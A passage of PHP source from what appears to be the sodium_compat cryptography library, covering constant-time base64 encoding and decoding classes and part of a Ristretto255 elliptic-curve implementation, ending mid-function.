            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) |  $c3      ) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the correct base64 alphabet'
            );
        }
        return $dest;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    abstract protected static function decode6Bits($src);

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    abstract protected static function encode6Bits($src);
}
<?php

/**
 * Class ParagonIE_Sodium_Core_Base64UrlSafe
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com)
 */
class ParagonIE_Sodium_Core_Base64_UrlSafe
{
    // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen =  ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) | $c3) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the correct base64 alphabet'
            );
        }
        return $dest;
    }
    // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE
    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    protected static function decode6Bits($src)
    {
        $ret = -1;

        // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64
        $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64);

        // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70
        $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70);

        // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5
        $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5);

        // if ($src == 0x2c) $ret += 62 + 1;
        $ret += (((0x2c - $src) & ($src - 0x2e)) >> 8) & 63;

        // if ($src == 0x5f) ret += 63 + 1;
        $ret += (((0x5e - $src) & ($src - 0x60)) >> 8) & 64;

        return $ret;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    protected static function encode6Bits($src)
    {
        $diff = 0x41;

        // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6
        $diff += ((25 - $src) >> 8) & 6;

        // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75
        $diff -= ((51 - $src) >> 8) & 75;

        // if ($src > 61) $diff += 0x2d - 0x30 - 10; // -13
        $diff -= ((61 - $src) >> 8) & 13;

        // if ($src > 62) $diff += 0x5f - 0x2b - 1; // 3
        $diff += ((62 - $src) >> 8) & 49;

        return pack('C', $src + $diff);
    }
}
<?php

/**
 * Class ParagonIE_Sodium_Core_Base64
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com)
 */
class ParagonIE_Sodium_Core_Base64_Original
{
    // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen =  ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) | $c3) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the correct base64 alphabet'
            );
        }
        return $dest;
    }
    // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE

    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    protected static function decode6Bits($src)
    {
        $ret = -1;

        // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64
        $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64);

        // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70
        $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70);

        // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5
        $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5);

        // if ($src == 0x2b) $ret += 62 + 1;
        $ret += (((0x2a - $src) & ($src - 0x2c)) >> 8) & 63;

        // if ($src == 0x2f) ret += 63 + 1;
        $ret += (((0x2e - $src) & ($src - 0x30)) >> 8) & 64;

        return $ret;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    protected static function encode6Bits($src)
    {
        $diff = 0x41;

        // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6
        $diff += ((25 - $src) >> 8) & 6;

        // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75
        $diff -= ((51 - $src) >> 8) & 75;

        // if ($src > 61) $diff += 0x2b - 0x30 - 10; // -15
        $diff -= ((61 - $src) >> 8) & 15;

        // if ($src > 62) $diff += 0x2f - 0x2b - 1; // 3
        $diff += ((62 - $src) >> 8) & 3;

        return pack('C', $src + $diff);
    }
}
<?php

/**
 * Class ParagonIE_Sodium_Core_Ristretto255
 */
class ParagonIE_Sodium_Core_Ristretto255 extends ParagonIE_Sodium_Core_Ed25519
{
    const crypto_core_ristretto255_HASHBYTES = 64;
    const HASH_SC_L = 48;
    const CORE_H2C_SHA256 = 1;
    const CORE_H2C_SHA512 = 2;

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_cneg(ParagonIE_Sodium_Core_Curve25519_Fe $f, $b)
    {
        $negf = self::fe_neg($f);
        return self::fe_cmov($f, $negf, $b);
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @throws SodiumException
     */
    public static function fe_abs(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        return self::fe_cneg($f, self::fe_isnegative($f));
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     */
    public static function fe_iszero(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        /** @var string $zero */
        $str = self::fe_tobytes($f);

        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($str[$i]);
        }
        return (($d - 1) >> 31) & 1;
    }


    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $u
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $v
     * @return array{x: ParagonIE_Sodium_Core_Curve25519_Fe, nonsquare: int}
     *
     * @throws SodiumException
     */
    public static function ristretto255_sqrt_ratio_m1(
        ParagonIE_Sodium_Core_Curve25519_Fe $u,
        ParagonIE_Sodium_Core_Curve25519_Fe $v
    ) {
        $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);

        $v3 = self::fe_mul(
            self::fe_sq($v),
            $v
        ); /* v3 = v^3 */
        $x = self::fe_mul(
            self::fe_mul(
                self::fe_sq($v3),
                $u
            ),
            $v
        ); /* x = uv^7 */

        $x = self::fe_mul(
            self::fe_mul(
                self::fe_pow22523($x), /* x = (uv^7)^((q-5)/8) */
                $v3
            ),
            $u
        ); /* x = uv^3(uv^7)^((q-5)/8) */

        $vxx = self::fe_mul(
            self::fe_sq($x),
            $v
        ); /* vx^2 */

        $m_root_check = self::fe_sub($vxx, $u); /* vx^2-u */
        $p_root_check = self::fe_add($vxx, $u); /* vx^2+u */
        $f_root_check = self::fe_mul($u, $sqrtm1); /* u*sqrt(-1) */
        $f_root_check = self::fe_add($vxx, $f_root_check); /* vx^2+u*sqrt(-1) */

        $has_m_root = self::fe_iszero($m_root_check);
        $has_p_root = self::fe_iszero($p_root_check);
        $has_f_root = self::fe_iszero($f_root_check);

        $x_sqrtm1 = self::fe_mul($x, $sqrtm1); /* x*sqrt(-1) */

        $x = self::fe_abs(
            self::fe_cmov($x, $x_sqrtm1, $has_p_root | $has_f_root)
        );
        return array(
            'x' => $x,
            'nonsquare' => $has_m_root | $has_p_root
        );
    }

    /**
     * @param string $s
     * @return int
     * @throws SodiumException
     */
    public static function ristretto255_point_is_canonical($s)
    {
        $c = (self::chrToInt($s[31]) & 0x7f) ^ 0x7f;
        for ($i = 30; $i > 0; --$i) {
            $c |= self::chrToInt($s[$i]) ^ 0xff;
        }
        $c = ($c - 1) >> 8;
        $d = (0xed - 1 - self::chrToInt($s[0])) >> 8;
        $e = self::chrToInt($s[31]) >> 7;

        return 1 - ((($c & $d) | $e | self::chrToInt($s[0])) & 1);
    }

    /**
     * @param string $s
     * @param bool $skipCanonicalCheck
     * @return array{h: ParagonIE_Sodium_Core_Curve25519_Ge_P3, res: int}
     * @throws SodiumException
     */
    public static function ristretto255_frombytes($s, $skipCanonicalCheck = false)
    {
        if (!$skipCanonicalCheck) {
            if (!self::ristretto255_point_is_canonical($s)) {
                throw new SodiumException('S is not canonical');
            }
        }

        $s_ = self::fe_frombytes($s);
        $ss = self::fe_sq($s_); /* ss = s^2 */

        $u1 = self::fe_sub(self::fe_1(), $ss); /* u1 = 1-ss */
        $u1u1 = self::fe_sq($u1); /* u1u1 = u1^2 */

        $u2 = self::fe_add(self::fe_1(), $ss); /* u2 = 1+ss */
        $u2u2 = self::fe_sq($u2); /* u2u2 = u2^2 */

        $v = self::fe_mul(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d),
            $u1u1
        ); /* v = d*u1^2 */
        $v = self::fe_neg($v); /* v = -d*u1^2 */
        $v = self::fe_sub($v, $u2u2); /* v = -(d*u1^2)-u2^2 */
        $v_u2u2 = self::fe_mul($v, $u2u2); /* v_u2u2 = v*u2^2 */

        // fe25519_1(one);
        // notsquare = ristretto255_sqrt_ratio_m1(inv_sqrt, one, v_u2u2);
        $one = self::fe_1();
        $result = self::ristretto255_sqrt_ratio_m1($one, $v_u2u2);
        $inv_sqrt = $result['x'];
        $notsquare = $result['nonsquare'];

        $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3();

        $h->X = self::fe_mul($inv_sqrt, $u2);
        $h->Y = self::fe_mul(self::fe_mul($inv_sqrt, $h->X), $v);

        $h->X = self::fe_mul($h->X, $s_);
        $h->X = self::fe_abs(
            self::fe_add($h->X, $h->X)
        );
        $h->Y = self::fe_mul($u1, $h->Y);
        $h->Z = self::fe_1();
        $h->T = self::fe_mul($h->X, $h->Y);

        $res = - ((1 - $notsquare) | self::fe_isnegative($h->T) | self::fe_iszero($h->Y));
        return array('h' => $h, 'res' => $res);
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h)
    {
        $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);
        $invsqrtamd = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$invsqrtamd);

        $u1 = self::fe_add($h->Z, $h->Y); /* u1 = Z+Y */
        $zmy = self::fe_sub($h->Z, $h->Y); /* zmy = Z-Y */
        $u1 = self::fe_mul($u1, $zmy); /* u1 = (Z+Y)*(Z-Y) */
        $u2 = self::fe_mul($h->X, $h->Y); /* u2 = X*Y */

        $u1_u2u2 = self::fe_mul(self::fe_sq($u2), $u1); /* u1_u2u2 = u1*u2^2 */
        $one = self::fe_1();

        // fe25519_1(one);
        // (void) ristretto255_sqrt_ratio_m1(inv_sqrt, one, u1_u2u2);
        $result = self::ristretto255_sqrt_ratio_m1($one, $u1_u2u2);
        $inv_sqrt = $result['x'];

        $den1 = self::fe_mul($inv_sqrt, $u1); /* den1 = inv_sqrt*u1 */
        $den2 = self::fe_mul($inv_sqrt, $u2); /* den2 = inv_sqrt*u2 */
        $z_inv = self::fe_mul($h->T, self::fe_mul($den1, $den2)); /* z_inv = den1*den2*T */

        $ix = self::fe_mul($h->X, $sqrtm1); /* ix = X*sqrt(-1) */
        $iy = self::fe_mul($h->Y, $sqrtm1); /* iy = Y*sqrt(-1) */
        $eden = self::fe_mul($den1, $invsqrtamd);

        $t_z_inv =  self::fe_mul($h->T, $z_inv); /* t_z_inv = T*z_inv */
        $rotate = self::fe_isnegative($t_z_inv);

        $x_ = self::fe_copy($h->X);
        $y_ = self::fe_copy($h->Y);
        $den_inv = self::fe_copy($den2);

        $x_ = self::fe_cmov($x_, $iy, $rotate);
        $y_ = self::fe_cmov($y_, $ix, $rotate);
        $den_inv = self::fe_cmov($den_inv, $eden, $rotate);

        $x_z_inv = self::fe_mul($x_, $z_inv);
        $y_ = self::fe_cneg($y_, self::fe_isnegative($x_z_inv));


        // fe25519_sub(s_, h->Z, y_);
        // fe25519_mul(s_, den_inv, s_);
        // fe25519_abs(s_, s_);
        // fe25519_tobytes(s, s_);
        return self::fe_tobytes(
            self::fe_abs(
                self::fe_mul(
                    $den_inv,
                    self::fe_sub($h->Z, $y_)
                )
            )
        );
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $t
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     *
     * @throws SodiumException
     */
    public static function ristretto255_elligator(ParagonIE_Sodium_Core_Curve25519_Fe $t)
    {
        $sqrtm1   = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);
        $onemsqd  = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$onemsqd);
        $d        = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d);
        $sqdmone  = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqdmone);
        $sqrtadm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtadm1);

        $one = self::fe_1();
        $r   = self::fe_mul($sqrtm1, self::fe_sq($t));         /* r = sqrt(-1)*t^2 */
        $u   = self::fe_mul(self::fe_add($r, $one), $onemsqd); /* u = (r+1)*(1-d^2) */
        $c   = self::fe_neg(self::fe_1());                     /* c = -1 */
        $rpd = self::fe_add($r, $d);                           /* rpd = r+d */

        $v = self::fe_mul(
            self::fe_sub(
                $c,
                self::fe_mul($r, $d)
            ),
            $rpd
        ); /* v = (c-r*d)*(r+d) */

        $result = self::ristretto255_sqrt_ratio_m1($u, $v);
        $s = $result['x'];
        $wasnt_square = 1 - $result['nonsquare'];

        $s_prime = self::fe_neg(
            self::fe_abs(
                self::fe_mul($s, $t)
            )
        ); /* s_prime = -|s*t| */
        $s = self::fe_cmov($s, $s_prime, $wasnt_square);
        $c = self::fe_cmov($c, $r, $wasnt_square);

        // fe25519_sub(n, r, one);            /* n = r-1 */
        // fe25519_mul(n, n, c);              /* n = c*(r-1) */
        // fe25519_mul(n, n, ed25519_sqdmone); /* n = c*(r-1)*(d-1)^2 */
        // fe25519_sub(n, n, v);              /* n =  c*(r-1)*(d-1)^2-v */
        $n = self::fe_sub(
            self::fe_mul(
                self::fe_mul(
                    self::fe_sub($r, $one),
                    $c
                ),
                $sqdmone
            ),
            $v
        ); /* n =  c*(r-1)*(d-1)^2-v */

        $w0 = self::fe_mul(
            self::fe_add($s, $s),
            $v
        ); /* w0 = 2s*v */

        $w1 = self::fe_mul($n, $sqrtadm1); /* w1 = n*sqrt(ad-1) */
        $ss = self::fe_sq($s); /* ss = s^2 */
        $w2 = self::fe_sub($one, $ss); /* w2 = 1-s^2 */
        $w3 = self::fe_add($one, $ss); /* w3 = 1+s^2 */

        return new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_mul($w0, $w3),
            self::fe_mul($w2, $w1),
            self::fe_mul($w1, $w3),
            self::fe_mul($w0, $w2)
        );
    }

    /**
     * @param string $h
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_from_hash($h)
    {
        if (self::strlen($h) !== 64) {
            throw new SodiumException('Hash must be 64 bytes');
        }
        //fe25519_frombytes(r0, h);
        //fe25519_frombytes(r1, h + 32);
        $r0 = self::fe_frombytes(self::substr($h, 0, 32));
        $r1 = self::fe_frombytes(self::substr($h, 32, 32));

        //ristretto255_elligator(&p0, r0);
        //ristretto255_elligator(&p1, r1);
        $p0 = self::ristretto255_elligator($r0);
        $p1 = self::ristretto255_elligator($r1);

        //ge25519_p3_to_cached(&p1_cached, &p1);
        //ge25519_add_cached(&p_p1p1, &p0, &p1_cached);
        $p_p1p1 = self::ge_add(
            $p0,
            self::ge_p3_to_cached($p1)
        );

        //ge25519_p1p1_to_p3(&p, &p_p1p1);
        //ristretto255_p3_tobytes(s, &p);
        return self::ristretto255_p3_tobytes(
            self::ge_p1p1_to_p3($p_p1p1)
        );
    }

    /**
     * @param string $p
     * @return int
     * @throws SodiumException
     */
    public static function is_valid_point($p)
    {
        $result = self::ristretto255_frombytes($p);
        if ($result['res'] !== 0) {
            return 0;
        }
        return 1;
    }

    /**
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_add($p, $q)
    {
        $p_res = self::ristretto255_frombytes($p);
        $q_res = self::ristretto255_frombytes($q);
        if ($p_res['res'] !== 0 || $q_res['res'] !== 0) {
            throw new SodiumException('Could not add points');
        }
        $p_p3 = $p_res['h'];
        $q_p3 = $q_res['h'];
        $q_cached = self::ge_p3_to_cached($q_p3);
        $r_p1p1 = self::ge_add($p_p3, $q_cached);
        $r_p3 = self::ge_p1p1_to_p3($r_p1p1);
        return self::ristretto255_p3_tobytes($r_p3);
    }

    /**
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_sub($p, $q)
    {
        $p_res = self::ristretto255_frombytes($p);
        $q_res = self::ristretto255_frombytes($q);
        if ($p_res['res'] !== 0 || $q_res['res'] !== 0) {
            throw new SodiumException('Could not add points');
        }
        $p_p3 = $p_res['h'];
        $q_p3 = $q_res['h'];
        $q_cached = self::ge_p3_to_cached($q_p3);
        $r_p1p1 = self::ge_sub($p_p3, $q_cached);
        $r_p3 = self::ge_p1p1_to_p3($r_p1p1);
        return self::ristretto255_p3_tobytes($r_p3);
    }


    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @return string
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument hash API
     */
    protected static function h2c_string_to_hash_sha256($hLen, $ctx, $msg)
    {
        $h = array_fill(0, $hLen, 0);
